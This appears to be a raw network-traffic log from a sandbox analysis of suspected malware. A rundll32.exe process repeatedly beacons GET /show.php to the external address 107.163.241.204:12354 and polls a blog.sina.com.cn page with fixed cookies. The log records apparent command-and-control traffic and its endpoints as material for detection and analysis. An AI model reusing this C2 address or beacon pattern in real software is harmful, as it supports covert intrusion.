Dec 11, 2024 16:27:24.431788921 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:27:26.006036997 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:25 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49803	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:25.659867048 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49806	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:25.780567884 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache
Dec 11, 2024 16:30:54.442477942 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49819	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:27.442369938 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49821	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:27.578680038 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49822	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:27.578818083 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:27:29.140459061 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:28 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49839	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:29.910706043 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49841	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:30.039336920 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49855	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:31.576571941 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49857	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:31.687426090 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49858	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:31.716912031 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:27:33.286979914 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:33 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49874	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:33.810789108 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49876	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:34.050709963 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49888	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:35.600522995 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49890	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:35.723053932 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:27:37.282427073 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:37 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49891	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:35.725433111 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49910	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:38.098537922 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49912	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:38.245316982 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49924	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:39.719551086 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49926	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:39.831414938 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49927	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:39.831536055 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:27:41.404967070 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:41 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49945	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:41.983107090 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49947	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:42.101139069 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49961	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:43.731024027 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49963	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:43.845920086 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49964	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:43.846036911 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:27:45.415400982 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:45 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49984	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:45.983357906 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49987	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:46.104341030 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	50002	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:47.753340006 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	50004	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:47.872256041 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	50005	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:47.875417948 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:27:49.434077978 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:49 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	50025	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:49.988188028 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	50027	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:50.112612009 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	50043	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:51.762432098 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	50046	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:51.876929045 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	50045	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:51.876941919 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:27:53.436860085 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:53 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	50065	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:54.028875113 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	50067	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:54.153336048 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	50082	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:55.925964117 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	50085	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:56.023747921 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
